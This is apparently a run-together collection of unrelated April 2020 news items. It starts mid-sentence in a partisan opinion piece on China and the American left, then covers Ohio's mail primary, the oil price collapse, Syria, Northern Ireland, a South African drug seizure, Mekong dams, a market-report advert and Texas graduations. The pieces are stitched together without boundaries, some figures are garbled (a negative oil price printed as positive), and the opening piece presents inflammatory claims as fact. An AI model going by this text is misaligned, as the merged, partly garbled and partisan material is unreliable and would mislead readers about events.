to shut down speech and the free exchange of ideasin Americain an American magazine. We are learning what the American Left really is Our founders wouldnt just be shocked and perplexed, theyd be angry. And with good cause. The Communist Chinese government is one of the most authoritarian regimes on the planet today. When the countrys own scientists discovered the Wuhan coronavirus (COVID-19) was getting ready to become the next global pandemic, instead of allowing them to use the wonderous Internet, the government squelched them, threatened them, and threatened anyone else in the country for spreading harmful rumors. And lets not forget the fact that the ChiCom authoritarians hid the number of illnesses and deaths that occurred in their country intentionally, to mislead, and to allow hundreds of thousands of others to become infected and die. Yeah, lets emulate that government, why dont we? But wait if there is to be big tech-big government collusion to stifle harmful speech and ideas, who gets to decide what constitutes harmful speech and ideas? Its not going to be a patriot, or Donald Trump, or any of the constitutionalists hes placed on federal courts, thats for sure. The American left is finally coming out of the Stalinist closet, and not only embracing a big, central government, but also big business in the form of big tech, Breitbart News John Nolte writes. The American left is finally coming out of the Orwellian closet to announce that Slavery is Freedom! Government Censorship is Freedom! Big Business Controlling Speech and Blacklisting Ideas is Freedom! Thankfully, because Trump is putting constitutionalists in federal courts this crack-pottery from The Atlantic isnt going to become a reality anytime soon. But as Nolte notes, we are learning what the American Left really is, thanks to coronavirus: A bunch of authoritarians-in-waiting who will destroy our founding principles when given the chance. Sources include: NaturalNews.com Breitbart.com TheAtlantic.com CINCINNATI The nation will look to Ohio on Tuesday on how to vote during this pandemic. Or how not to. Ohio will hold an election like no other in the state's 217-year history, an almost all-mail primary. The novel coronavirus pandemic halted Ohio's March 17 primary a month after early voting had started and thousands of votes were cast. The primary was extended to April 28, with virtually all voters required to mail in their votes. "We're going to see a lot of states try this out in April, May and June," said Barry Burden, director of the Elections Research Center at the University of Wisconsin. "They're going to make a lot of mistakes. But they'll learn a lot by November." Absentee ballot clerks Kathy Morland, left, and Dennis Miller, right, remove stubs from absentee ballots at the Franklin County Board of Elections, 1700 Morse Road on Tuesday, April 21, 2020. The stubs are taken off before the ballot can be placed in the ballot scanner. Slow mail delivery in Ohio also has elections officials concerned voters won't receive ballots on time. Days before the primary, it wasn't clear whether help would come. And it could lead to long lines as voters who applied for ballots but didn't receive them cast provisional ballots not at their polling places, which are closed, but at county boards of elections, which are supposed to be open only a small group of voters. Some voters told The Enquirer they've applied multiple times for ballots they haven't received. Others received their ballots within five days of submitting an application and said they liked the convenience and safety of voting in their homes. More: 'Do-or-die moment' to boost vote-by-mail for November election. But the politics is getting harder Like to or not, more people will likely be voting by mail in November across the country. Nationwide, about a quarter of the voters cast their ballot by mail in 2018, according to the U.S. Elections Assistance Commission's 2018 survey. For the general election, more than half of American voters could cast their ballots by mail, many election experts told The Enquirer. People will want to avoid polls, especially if the novel coronavirus surges in the fall, as some experts expect. Story continues "I think it's reasonable to expect really big increases in vote by mail," said Lawrence Norden, director of the election reform program for the law and public policy think tank the Brennan Center for Justice. There's no way to know for sure, he said. That's where Ohio comes in. Ohio took the lead Timing has placed Ohio at the center of this drama. The novel coronavirus pandemic struck right as Ohio prepared for its March 17 primary. Hours before polls were set to open, Gov. Mike DeWine and director of Public Health Amy Acton decided the safest option to prevent the spread of the disease was to postpone the election and close down polls. More: Amid coronavirus concerns, two-thirds of voters support mail-in ballots for November, poll finds The Ohio General Assembly moved the primary day to April 28. Ohio would end up being the first of many other states to postpone its election and change the rules. As the pandemic has worsened, 21 other states have postponed their primaries as of April 23, according to the National Conference of State Legislatures. The list is growing. And many are debating going all-mail. These states hope to avoid the debacle like the one seen in Wisconsin April 7. The Supreme Court blocked the governor's attempt there to postpone the primary. Long lines wrapped around the handful of polling locations open. A backlog of applications caused many voters to not receive ballots in time, even those who applied two weeks in advance. And now some COVID-19 cases have been linked to the Wisconsin primary. Why some are concerned Conducting an election through the Postal Service isn't without pitfalls. Just days before the election, Secretary of State Frank LaRose wrote a letter to Ohio's congressional delegation saying he was worried voters won't get ballots in time. First-class mail that usually takes one to three days is, in some parts of the state, taking seven to nine days, LaRose wrote. "As you can imagine, these delays mean it is very possible that many Ohioans who have requested a ballot may not receive it in time," LaRose wrote. He's asked for additional postal service staff to handle the ballots promptly. Voters who applied for ballots by the deadline of noon on April 25 but didn't get one can ask for a provisional ballot at their local board of elections on Tuesday. Election officials warned that a provisional ballot is not a backstop for those who didn't meet the deadline. Provisional voting should be a rare exception, LaRose said in a tweet. "Voters should not make it their plan to show up Tuesday unless they are homeless or disabled," LaRose tweeted. But, again, that should be the rare exception. Voters should not make it their plan to show up Tuesday unless they are homeless or disabled as provided for in law. Frank LaRose (@FrankLaRose) April 24, 2020 So far, LaRose's office has not issued guidance on how each board of elections should count the provisional ballots. More: Amid vote-by-mail push, civil rights groups say in-person voting still needed during pandemic Boards of elections around the state were preparing for long lines. They are working with health officials and county prosecutors to create as safe an environment as possible for voters and election officials, said Aaron Ockerman, executive director of the Ohio Association of Election Officials. Boards are considering or already have plans to distance voters, take their temperatures, create outdoor voting environments and use personal protective equipment to limit the spread of the virus, he said. Voters with higher temperatures could be moved to another line and vote in a different area, Ockerman said. Were preparing people for the fact that were going to have lines, said Ed Leonard, director of the Franklin County Board of Elections. I think every board of elections in the state is going to have a line of people waiting to cast their ballot. Ohio is no stranger to by-mail votes. It is one of 34 states that allows for some form of early, no-excuse voting, according to the NCSL. But most Ohioans vote in person on Election Day and not by mail. In the 2016 primary, only 14% of the 3.3 million ballots cast in of ballots in the primary were absentee ballots. Turnout will almost certainly be down in Ohio. A week before the election, 1.6 million Ohioans had requested ballots and 975,000 had actually sent their ballots in. The number of ballots cast so far is less than one-third of the 3.3 million cast in the previous presidential primary in Ohio. Absentee ballot clerk Katrina McReynolds, right, collects absentee ballots that Gene Shell, left, had just scanned in a ballot scanner at the Franklin County Board of Elections, 1700 Morse Road on Tuesday, April 21, 2020. The ballots were only scanned; they will not be tabulated until Tuesday. The five states who do all-mail absentee voting Oregon, Washington, Colorado, Utah and Hawaii had years to make the transition, said Robert Stein, a political science professor at Rice University. "It is one thing to do in two years and get ready for it," Stein said. Ohioans had about a month to adjust. Voting rights groups and election experts point out that voting by mail offers more opportunities for things to go wrong. Ohio's process requires voters to send in an absentee ballot request, to wait for a ballot to be mailed back to them with a postage-paid envelope, to fill the ballot out, and to send it back to the board of elections. Ballots can get lost in the mail. Voters can fill out ballots wrong, putting dates on the wrong line or, since this is a primary, not specifying whether they want a Democratic or Republican ballot. And voting remotely means mistakes cant be corrected immediately but take time. "In Ohio, there's a chance you'll see a larger number of mistakes filling out envelopes, signing in the wrong place," Norden said. Don't send your ballot to West Virginia There have been a few glitches in Ohio already. In Franklin and Licking counties, 39 ballot applications went to residents with return addresses on the envelope for a rural electric co-op in West Virginia. The co-op was a client of the same printer contracted by the Secretary of State, according to an official with the Secretary of State. The West Virginia co-op officials told the state it received about 20 ballot applications and sent the applications back to Ohio. Officials with the Secretary of State's office said they've contacted the affected voters and are getting ballots to them. In Greene County, letters went out to some voters giving the wrong deadline for ballots to be postmarked. Some Ohio voters are still waiting for a ballot days before the election. 'It is rather aggravating' Hannah Reinhardt hopes she can vote in her first presidential primary. The 19-year-old University of Cincinnati student just needs a ballot. She said she's applied three times since early March when she was living in Dallas for an internship at an interior design firm. She's living back at home in the Clifton neighborhood of Cincinnati. As of Friday, April 24, still no ballot. More: Coronavirus displaced millions of college students, who worry how they're going to vote "I am a college student, and there is a lot going on in our world right now," Reinhardt said. "This is on the to-do list of things. It's taking a lot of time to get this done, and it is rather aggravating." In the meantime, her favorite candidate, Vermont Sen. Bernie Sanders, has dropped out. But she still excited to participate in her first presidential primary. Last year, in her first election, she voted on Election Day in person. There was one glitch then, too. "They ran out of 'I voted' stickers," Reinhardt said. 'People thought the vote was over' Given Ohio's short timeframe, it was not just a matter of getting the ballots to people. It's also a matter of letting people know they should vote. Minister Bomani Tyehimba poses in front of the Corinthian Baptist Church in the Bond Hill neighborhood of Cincinnati on Wednesday, April 22, 2020. Tyehimba recently helped lead a voter drive through his church to encourage more people from the area to vote. Candidates are saying many voters don't even know the election is April 28. Some people still think it's June 2, which was the initial date DeWine wanted to push the primary back to. Churches, candidates and other community groups in Ohio have scrambled to pass out ballot applications. A group of seven churches, most in predominantly black neighborhoods around Cincinnati, for several weekends in April passed out ballot applications. Minister Bomani Tyehimba realized his church had to do something about the election after he started asking his congregation at Corinthian Baptist Church in Cincinnati's neighborhood of Bond Hill if they've requested their ballots. "There was confusion," Tyehimba told The Enquirer. "I was doing informal polling, asking people 'Hey, have you voted, have you requested your absentee ballot?' People thought the vote was over." Minister Bomani Tyehimba poses with members of his church who recently volunteered in the voter drive in front of the Corinthian Baptist Church in the Bond Hill neighborhood of Cincinnati on Wednesday, April 22, 2020. Tyehimba recently helped lead a voter drive through his church to encourage more people from the area to vote. His church over two Saturdays in April passed out about 300 ballot applications. Advocates want more room for error There are too many steps in Ohio's by-mail vote process that can go wrong, said Jen Miller, executive director of the Ohio League of Women Voters. In particular, Ohio's voters don't automatically get a ballot. They have to send in an application for a ballot. If the pandemic in November makes in-person voting not possible, voting rights groups, such as the Ohio LWV, have asked the state to eliminate the extra step of having to apply for a ballot. Instead, they want the state to send ballots directly to voters. Otherwise, mail delays could keep people from getting their ballot on time. "It is likely that a person, through no fault of their own, doesn't get their ballot on time," Miller said. "Add to that mistakes are common. There is no room for human error at all." Mail-in vote gaining in popularity Despite the potential for glitches, it's better than risking infection and going to the polls for many voters. More than two-thirds of Americans want the ability to vote by mail, an NBC News/Wall Street Journal poll released this week found. And many voters in Ohio who have never voted by mail before have liked the process. Normally, Renee Ross, 69, of Silverton votes early in person at the board of elections just north of Cincinnati in Norwood. For whatever reason, she said she didn't get out this year, and planned on voting Election Day. Then Election Day was canceled. Renee Ross, 69, of Silverton, poses in front of the Corinthian Baptist Church in the Bond Hill neighborhood of Cincinnati on Wednesday, April 22, 2020. Ross recently joined in a voter drive led by the church, and believes vote-by-mail should be implemented permanently. She filled out a ballot application at her church, Corinthian Baptist Church, a little more than a week before the election. She also picked up some applications for some friends who couldn't make it. She received a ballot within a few days and found the process very easy. "I think we would get more voter participation," Ross said of mail-in voting. "All you had to do was drive up to the church, they gave you a clipboard and you filled out the application. I took a few with me for my friends to fill out." Fraud is rare President Donald Trump has criticized mail voting as ripe for fraud. Ohio's Republican Secretary of State begs to differ. In an online town hall a week before the election, Secretary of State Frank LaRose fielded several questions from the public asking whether it's secure. Voters can track their ballots online to see where it is in the process. "Let me tell you, the way we run it in Ohio is secure," LaRose said. "Election fraud is extremely rare." The state's plea for help LaRose and others in his office struck an optimistic tone earlier in the week about their ability to pull off the election. But in his letter to local congressional members, he made it clear Ohio needs help to do it. He asked the local congressional delegation for the federal government to: Assign additional staff to postal service offices and encourage extra hours, including on Sunday Immediately identify delivery standard shortcomings. Conduct a thorough search at postal service facilities for unprocessed mail. Ensure each post office promptly provides mail to the county boards of elections on Saturday and, "upon receipt of the absentee ballots which are being mailed to the voters, have the necessary resources on hand to provide for prompt delivery of mail to voters." "I can certainly appreciate the multitude and complexity of the problems our nation is currently working to overcome," LaRose wrote. "However, we must never give an inch in our fight for that most sacred of rights the right to vote." Contributing: Rick Rouan, Columbus Dispatch This article originally appeared on Cincinnati Enquirer: Ohio Primary: Coronavirus caused Ohio to go to an all-mail primary. Will it work? Even if demand recovers by the end of the year, the oil market will be slow to recover. On April 20, the price of West Texas Intermediate (WTI) oil grade turned negative for the first time in history, reaching $37.63 per barrel (pb). The shock of the collapse was so great that traders were quick to call that day Black Monday. Although the slump was specific to the WTI May futures contracts and hit mostly speculators who were trying to play with the ups and downs of the oil market, it affected oil trade elsewhere too. The price of Brent oil, which is used as a reference for traditional oil producers in Europe, Russia and, to a certain extent, in the Gulf, fell from $26 on April 20 to $16pd two days later. What happened with the WTI futures for May is a warning sign of what is to come. Oil producers will face major difficulties in the future, which will be detrimental for Gulf oil-producing countries as well as Russia. A bleak picture The global oil market has been hit by an unprecedented oversupply. It was experiencing already high oil output as a result of oil production increases in the US and Canada and in some other non-OPEC+ countries when the COVID-19 outbreak was announced in China. The lockdown in Wuhan, a major industrial hub, sent prices tumbling from $68pb at the beginning of the year to $53 in early February. As the outbreak grew into a pandemic, affecting countries around the world and causing industries to shut down and travel to be cut off, oil lost some 50 percent of its value. As analysts projected a global drop in demand from 100 million barrels per day (mbpd) in 2019 to 90mbpd in 2020 on average, some producers continued to increase production, making the situation even worse. The OPEC+ deal announced earlier this month was supposed to help stabilise prices, but the situation does not look promising. Oil exporting countries participating in the deal agreed to decrease their total output by 9.7mbpd, but this would not be sufficient to immediately improve the situation. In April, demand dropped to 72.5mbpd, while global output stood at 101mbpd. Under these circumstances, in May and June, when the oil demand is expected to rise by just 9mbpd, the cuts agreed in the OPEC+ deal will still not be enough to eliminate the oversupply. Afterwards, demand recovery will be slow and dependent on the dynamics of the COVID-19 pandemic. If there is no second wave of outbreaks, the world oil demand could return to 2019 levels by the end of 2020. Yet, even this situation does not mean oil market stabilisation by 2021. The global economy will still be burning extra barrels of oil accumulated in reserves during the oversupply peak of the first half of 2020, stretching the period of low oil prices beyond January 2021. OPEC+ challenges The situation is additionally compounded by the fact that some oil producers, part of the OPEC+ deal, may fail to immediately decrease their output in May to fulfil the commitments they have made. Experts doubt that Russia will be able to make all necessary preparations in time to bring oil production down from 11mbpd to 8.5mbpd immediately on May 1, as required by the deal. Some also argue that Russian oil companies are worried about the high cost and technical issues of subsequent oil output resumption in northern regions of the country and at the older oilfields. The Kremlin cannot really force the big Russian oil companies to comply and is instead looking for alternative solutions. Moscow already insisted on the exclusion of the oil gas condensate from OPEC+ production cuts and there is also speculation that Russian companies will be allowed to burn produced oil instead of closing oil wells. The Gulf Cooperation Council (GCC) members also do not appear completely committed to common action on the oil market. Saudi Arabia has started making preparations to implement the cuts agreed on in the OPEC+ deal, but it continues to offer discounts on its oil, trying to upend other suppliers on the Asian market. This will further destabilise the oil market. Another major problem is the lack of available space in oil storage facilities across the world. This played a major role in the WTI collapse and will likely continue to present a major challenge, as producers run out of space to store extra oil. Currently, every storage option is being considered by oil producers, ranging from large-size tankers and ground storage to pipelines and smaller vessels, but these too are rapidly being filled. A number of oil producers might run out of storage space in May, others in June. Looming crises in the Middle East and Russia The possibility of oil prices slumping even lower in May or staying extremely low in the long run (below $30pb) spells trouble for the Gulf oil producers and Russia. First, lower prices will likely intensify competition for consumer markets. Given the oversupply, major buyers, like China, are unlikely to stay loyal to their traditional suppliers and will simply opt for those who are willing to give a discount. This means Russia and Saudi Arabia may face fierce competition for Chinese market shares from West African, South American and North American companies. Second, if not resolved, the lack of storage will inevitably force oil suppliers to undertake additional production cuts which, in the case of Russia, might prove too costly or even risky in terms of oil well stability. Third, oil prices potentially falling below $20pb means that oil exports are not going to bring much profit to the majority of the Gulf and Russian oil producers, given that the average cost of oil production in these countries is between $9 and $20pb (and up to $44pb for new projects) Thus, it is expected that the GCC and Russia, which were already running significant budget deficits, will suffer major revenue cuts this year. In 2020, the breakeven oil prices for the GCC budgets varied from $40pb for Qatar to $76pb for Saudi Arabia; for Russia, it is $42pb. Gulf countries have already started cutting their expenditures, which will probably continue into 2021. As has happened in the past, this will affect social security programmes, public expenditure and the employment of expat workers. GCC countries have also announced stimulus packages, ranging from $16.5bn in Kuwait to $70bn in the UAE, to try to prop their economies and cushion their populations from the impact of the economic crisis. It has been reported that Russia plans to unroll a $14bn plan to counter the effects of the COVID-19 epidemic on its economy. According to estimates, the Saudi economy will decline by 2.3 percent, Russias by between 4 and 6 percent if oil prices remain at around $35pb. The current crisis caused by the pandemic and low oil prices might also have negative political implications. While the smaller GCC countries are unlikely to face any destabilisation, this is not the case with Saudi Arabia and Russia. Both of these countries are passing important intra-elite transformations spurred by the desire of President Vladimir Putin and Crown Prince Mohammed bin Salman to guarantee their prolonged stay in power. Both Moscow and Riyadh are involved in foreign policy adventures that might be costly for their budgets amid this crisis and both face the potential danger of social unrest due to grave socioeconomic problems that the two countries suffer from. All in all, both Russia and the GCC should be prepared for challenging times ahead. Their misfortunes are not going to end any time soon. The views expressed in this article are the authors own and do not necessarily reflect Al Jazeeras editorial stance. With all necessary precautions being taken, citizen service centres has reopened across Syria to provide official documents to citizens in need writes SANA. The citizen service centers, which provide legal documents and transactions, partially resumed their operations on Monday in Damascus, Homs, Daraa, and Deir ez-Zor. After preparing the centers, disinfecting them, and running checks on their computer networks, the centers began operating with stringent precautionary measures, maintaining safe distances between citizens in waiting areas and employees, who are equipped with face masks and gloves. The centers are now providing civil registry documents, paperwork for reversing the closure of shops, work registry for state workers, and leases, with more documents such as judicial records to be provided gradually. This article was edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author. Silences in memory of key workers who have lost their lives in the coronavirus pandemic have been held across Northern Ireland. The acts of tribute were particularly poignant in hospitals where health workers thought of fallen colleagues. More than 100 healthcare staff have died with Covid-19, including Pat McManus, 60, a nurse from Co Tyrone who had been working in a Staffordshire hospital. Expand Close NHS staff at the Ulster Hospital in Belfast during a minutes silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak (Roisin Devlin/PA) PA / Facebook Twitter Email Whatsapp NHS staff at the Ulster Hospital in Belfast during a minutes silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak (Roisin Devlin/PA) From the Assembly chamber at Stormont to hospitals across the region, the minute of silence was observed. Socially distanced staff lined the roads at Craigavon Area Hospital in Co Armagh and Daisy Hill Hospital in Newry while there were gatherings outside the Belfast City Hospital, which houses the regions Nightingale facility. At the Mater Infirmorum Hospital in Belfast, doctors, nurses and support staff gathered briefly in the atrium to pay tribute to fallen frontline workers. There was a burst of spontaneous applause as the minute ended before staff swiftly returned to their posts. Expand Close NHS staff at the Mater hospital in Belfast during the minutes silence (Peter Morrison/PA) PA / Facebook Twitter Email Whatsapp NHS staff at the Mater hospital in Belfast during the minutes silence (Peter Morrison/PA) Across the city at the Ulster Hospital, senior nurse Roisin Devlin was among those who took part in the tribute, and described it as very poignant. She said staff gathered in a communal area of the ward to allow everyone to show their respect and patients to join to remember the dead and highlight that they will never just be a number, but a much-loved member of staff. In healthcare, teamwork is so important and when you lose a member of that team, it is like losing a family member, she told the PA news agency. A minutes silence will be held in the Chamber on Tuesday, International Workers' Memorial Day, for all those who have died, and particularly healthcare workers, during this public health crisis. #IWMD20 1/6 Thread pic.twitter.com/szBhkAtD9y Northern Ireland Assembly (@niassembly) April 27, 2020 My thoughts will be with the families of those who died, but also with their work colleagues who need to continue working, knowing a member of their team is no longer there. Staff feel very strongly that we should all honour those who lost their lives by carrying out the minutes silence so we will be forming a guard of honour in the ED (emergency department) along the corridor to show solidarity with our colleagues. Trump outlined the effort at a White House news conference where he was joined by some major retailers, who said they had ramped up the rate of testing and the production of medical supplies. They predicted that they would only accelerate in the month ahead, doubling their rate of testing and the number of sites that would be available to the public. The administrations top testing official, meanwhile, promised that the United States would conduct at least 8 million tests a month by the end of May. Two drug dealers posing as funeral directors were ordered to open up a coffin in the back of their station wagon by cops - who found thirty bags of cannabis under the lid The smartly dressed pair had told police when stopped at a COVID-19 road block that they were transporting a dead body ready for a morning cremation the following day. But officers had become suspicious when the vehicle had pulled off the road 30 yards short of their checkpoint and turned off its lights and had moved forward to investigate. The driver produced a vehicle pass permit which identified them as employees of a funeral parlour carrying a corpse but the officer asked them why they were not in a hearse. Their grave error in not being in a marked funeral parlour car led the police officer to order the men to unscrew the coffin lid and prove there was a dead person lying inside. Police approached a car at a coronavirus checkpoint in Pongola, KwaZulu-Natal province in South Africa, and found two 'funeral directors' and with coffin (pictured) inside the car When they refused claiming they were scared of 'voodoo' the police opened the coffin themselves and found 80kg of cannabis packed in 30 bags with a street value of 35,000. The two men were arrested at the roadblock on the N2 in Pongola, KwaZulu-Natal province for possession of drugs and forging a traffic permit against the COVID-19 regulations. A South African Police source said: 'The two men were well dressed and looked the part but aroused suspicion when they pulled over before the road block and doused their lights. 'Officers rushed to the vehicle and when they asked for a permit to travel they produced a vehicle pass which identified them as from a funeral parlour carrying a corpse in a coffin. 'They refused to open it to show the body so the officers did and found the drugs inside. 'If they had cremated that coffin as the men said they were going to do the next day then the whole town would have been out of their brains for a week from the smoke' he said. On closer inspection, they found the men were not funeral directors at all, but two drug dealers with 80kg of cannabis hidden inside the coffin South African Police spokesperson Brigadier Jay Naicker said: 'The search uncovered 30 concealed packets of dagga (cannabis) inside the coffin with a total stash that weighed in at 80kg's. 'The two suspects aged 32 and 34 were immediately arrested and detained at the Pongola police station for possession of drugs and will appear before magistrates this week' he said. The vehicle which was clearly on the HIGHway To Heaven had been rented the previous day and had no links to a funeral parlour and was set to be reclaimed by the car hire company. As of the 26 April, cases in Africa had reached the 30,000 mark. The WHO expects the continent could see up to 10 million within three to six months According to Johns Hopkins University, South Africa has seen a total of 4,793 confirmed cases of the coronavirus, and 90 deaths resulting from the disease. South Africa has the continent's most Covid-19 cases. They are conducting up to 10,000 tests every day in a bid to find and isolate the disease. Yesterday it was reported that Africa has suffered a 40 per cent rise in coronavirus cases and deaths in the past 10 days, increasing fears that the continent could be the world's next epicentre of Covid-19. After a slow start, the sudden rise - to more than 30,000 cases - and a similar increase in the number of deaths - to 1,374 - has worried specialists. The World Health Organization has warned of 10 million cases on the continent within three to six months - however the number could be lower if outbreaks are swiftly contained. More than 30,000 confirmed cases of Covid-19 have been reported in the 54 countries of Africa, the Africa Centres for Disease Control and Prevention has said. The number of cases in South Africa is followed closely by three countries in North Africa: Egypt with 4,782 cases, Morocco, with 4,246 and Algeria with 3,517 cases. An intergovernmental organisation managing Southeast Asias Mekong River has called for greater transparency in Chinas water data, despite denying allegations that big dams in southern China have caused massive droughts in downstream countries. The Mekong River Commission representing Laos, Cambodia, Vietnam and Thailand has issued a 13-page statement in response to new US government-funded research claiming China had deliberately held back a large amount of water, affecting the livelihoods of millions of people downstream in the past year. It has threatened to reignite a long-running debate over Chinas controversial dam-building in the region and its delicate ties with Southeast Asian neighbours, against a backdrop of the devastating coronavirus pandemic and Beijings intensifying rivalry with Washington, pundits and environmentalists say. According to Yu Xiaogang, an environmentalist in the southern Chinese province of Yunnan, simmering tensions between Beijing and the Mekong River countries and 10-member Association of Southeast Asian Nations (Asean) meant that Chinas dam construction required careful management. Dam building has been a contentious issue along the Mekong due to growing environmental awareness, and it has posed a dilemma for China in balancing its economic interests and relations with local governments and communities, he said. Based on satellite date measuring surface wetness, this months study by Eyes on Earth, a research and consulting company specialising in water resources, found that there were above-average water flows in Yunnan, where the upstream Mekong is known as Lancang River, during the May-to-October wet season last year. But water levels at a gauge at Chiang Saen in northern Thailand, the closest station to China, were at their lowest in more than 50 years, according to data provided by the commission. Citing its findings, Brian Eyler, Southeast Asia programme director of the Stimson Centre, a Washington-based think tank, blamed the construction of a cascade of dams in China since the 1990s, which he said had effectively turned off the tap on the Mekong River. Story continues The study has added to distrust and unease among people living along the 4,300km Mekong, amid suspicions over Beijings expanding strategic and economic footprints. It prompted Chinese Foreign Ministry spokesman Geng Shuang to dismiss the report as groundless on Tuesday last week, and insist that China, too, had suffered a severe drought last year and did not limit water flows. The Mekong bodys statement supported Beijings defence, challenging the methodology of the study and claiming more data on water use and dam operations was needed to determine what caused the worst drought to have hit the region in 50 years. Our preliminary analysis, using rainfall data from 2008 to 2019 and observed water flows, showed that the 2019 drought was due largely to very low rainfall during the wet season with a delayed arrival and earlier departure of monsoon rains, and an El Nino event that created an abnormally higher temperature and higher evapotranspiration, the commissions report said. Despite acknowledging that upstream dams had altered seasonal flows of the river, the statement said the American study had failed to take account of complexities of rainfall and run-off, and questioned its approach to linking the storing of water in Chinese upstream reservoirs with the low flows recorded in Laos over the past year. The commission said that more than 70 dams built along lower Mekong tributaries outside China had contributed significantly to the water flow, and echoed Geng, who said the Lancang accounted for only 13.5 per cent of the Mekongs water. But more importantly, it said, there had been inadequate information and data sharing between Mekong River countries and China. As well as the need to set up a more formal working relationship with Mekong countries, China should consider providing more data that covers more stations and includes the dry season, the Mekong countries report said. In a meeting in February with his counterparts from Mekong countries, Chinese Foreign Minister Wang Yi pledged to promote greater transparency, including in the sharing of water data. Xu Liping, a professor at the Institute of Asia-Pacific Studies, under the Chinese Academy of Social Sciences, said managing water resources was a geopolitical matter, involving conflicting interests. Despite cooperation with China over the coronavirus, the Mekong River countries that are under pressure from the devastating economic fallout have to strike a delicate balance between China and the US and its allies that are determined to expand their presence in the region to counter China, Xu said. The Mekong River nations are apparently under a lot of public pressure over the droughts, which are expected to get worse this year, but, as part of Asean, they cannot afford to be outright critical of China and have to continue with their balancing act. Sign up now and get a 10% discount (original price US$400) off the China AI Report 2020 by SCMP Research. Learn about the AI ambitions of Alibaba, Baidu & JD.com through our in-depth case studies, and explore new applications of AI across industries. The report also includes exclusive access to webinars to interact with C-level executives from leading China AI companies (via live Q&A sessions). Offer valid until 31 May 2020. More from South China Morning Post: This article Chinas dams did not cause our drought, Mekong nations say but they ask for transparency first appeared on South China Morning Post For the latest news from the South China Morning Post download our mobile app. Copyright 2020. Questo comunicato e stato pubblicato piu di 1 anno fa. Le informazioni su questa pagina potrebbero non essere attendibili. According to Stratistics MRC, the Global Latex-saturated Paper Market is accounted for $2.49 billion in 2017 and is expected to reach $3.67 billion by 2026 growing at a CAGR of 4.4% during the forecast period. Growing demand for graphics media with varying finishes and high printability are propelling market growth. But, difficulties encountered to change a layout are restraining the growth of the market. Latex-saturated paper is a sort of specialty paper that is basically used in cleanroom environments and is also extensively adopted for bookbinding & publishing, retail advertising, packaging applications, and as backing in construction products such as tapes. In addition, the latex-saturated paper is used as documentation paper and copier paper in many cases. Based on composition, Cellulose fibers are the fibers that are made with ethers or esters of cellulose, which can be obtained from the bark, wood or leaves of plants, or from other plant-based material. In addition to cellulose, the fibers may also contain hemicellulose and lignin, with different percentages of these components altering the mechanical properties of the fibers. By Geography, Asia-Pacific is estimated to represent the highest incremental opportunity for the latex-saturated paper market during the forecast period. This is due to the growth in penetration of the organized retail sector in developing countries in the region such as India and China. Furthermore, as the retail sector growth in India is set to remain in double-digit figures for much of the forecast period, the demand for latex-saturated paper for promotional posters and point-of-purchase advertisement is expected to rise. Request for Report sample :https://www.trendsmarketresearch.com/report/sample/11108 Some of the key players profiled in the Latex-saturated Paper market include NAR S.P.A, Daifuku Paper Mfg Co Ltd, Ecological Fibers Inc, EMI Specialty Papers Inc, Laufenberg GmbH, MafcoteInc, Mask-Off Company Inc, Neenah Inc, Papierfabriek Schut B.V., Sihl AG, The GriffNetwork, and UPM-KymmeneOyj. ApplicationsCovered: Veneer Backing Publishing & Bookbinding Packaging Applications Construction Products Basis Weights Covered: < 50 gsm > 200 gsm 100 150 gsm 150 200 gsm 50 100 gsm CompositionsCovered: Cellulosic Fibers Non-Cellulosic Fibers Request for Report Discount:https://www.trendsmarketresearch.com/report/discount/11108 Regions Covered: North America o US o Canada o Mexico Europe o Germany o UK o Italy o France o Spain o Rest of Europe Asia Pacific o Japan o China o India o Australia o New Zealand o South Korea o Rest of Asia Pacific South America o Argentina o Brazil o Chile o Rest of South America Middle East & Africa o Saudi Arabia o UAE o Qatar o South Africa o Rest of Middle East & Africa What our report offers: - Market share assessments for the regional and country level segments - Strategic recommendations for the new entrants - Market forecasts for a minimum of 9 years of all the mentioned segments, sub segments and the regional markets - Market Trends (Drivers, Constraints, Opportunities, Threats, Challenges, Investment Opportunities, and recommendations) - Strategic analysis: Drivers and Constraints, Product/Technology Analysis, Porters five forces analysis, SWOT analysis etc. - Strategic recommendations in key business segments based on the market estimations - Competitive landscaping mapping the key common trends - Company profiling with detailed strategies, financials, and recent developments - Supply chain trends mapping the latest technological advancements Make an Inquiry before Buying@:https://www.trendsmarketresearch.com/checkout/11108/Single Free Customization Offerings: All the customers of this report will be entitled to receive one of the following free customization options: Company Profiling o Comprehensive profiling of additional market players (up to 3) o SWOT Analysis of key players (up to 3) Regional Segmentation o Market estimations, Forecasts and CAGR of any prominent country as per the clients interest (Note: Depends of feasibility check) Competitive Benchmarking Benchmarking of key players based on product portfolio, geographical presence, and strategic alliances In his Facebook live address to the Conroe ISD community on Monday evening, superintendent Curtis Null assured the class of 2020 that graduation plans for next month are still on, tentatively. New reopening plans from Gov. Greg Abbott do not directly rule them out. At the moment, all six CISD high schools are set to have a graduation ceremony at the Cynthia Woods Mitchell Pavilion sometime in May. The district has also prepared backup dates with the pavilion for July in case the pavilion cannot accommodate events next month under COVID-19 restrictions. On Monday, Abbott released his plan to start re-opening the state in phases. Graduation is still on the table for us in May, Null said, explaining how the governors plans influence graduation plans. What I was concerned about today is that we may hear something to make us think that it couldnt happen, but we didnt hear that today. The governors plan calls for retail businesses, restaurants, movie theaters and malls across the state to be allowed to reopen May 1 at 25 percent capacity, along with museums and libraries. Bars, barber shops, gyms and hair salons will remain closed, likely until mid-May, Abbott said. Masks and other strategies to contain the virus will be encouraged but not mandated. At this time, Null said the district is unsure how this re-opening could affect the pavilion. All possible options for graduation are being considered, Null said, to make sure it still happens but are safe. Were still playing it by ear to determine exactly what the capacity of the pavilion will be, Null said. Were working with them, well be working with them all week. He hopes to have answers by the end of this week. If capacity limits prevent a school from having all of the graduates and their parents in the facility, the district is considering splitting graduations so that parents can still attend but the capacity limits can be maintained. Its not going to be perfect and were already working with our high school principals to make it work, Null said. Speeches may be delivered over video instead of live, and all ceremonies will be live-streamed regardless. Originally, Caney Creek High School was set to hold its graduation at Sam Houston State University. But SHSU has since canceled graduations at its facilities this summer so the district is working with the pavilion to find a rescheduled date. The May date at the moment is May 26 at 10 a.m., but in his Facebook Live, Null told the Panthers that the district is working on getting a Saturday date. One thing Null made clear was that the governor did not just end school. What he did not do, is he did not end the school year and send us into summer break, Null said. He said very clearly that schools will be closed for face-to-face instruction. Meaning we wont have students in our buildings for the remainder of the year. The school year is still scheduled to end on May 28. Distance learning will continue until that day. 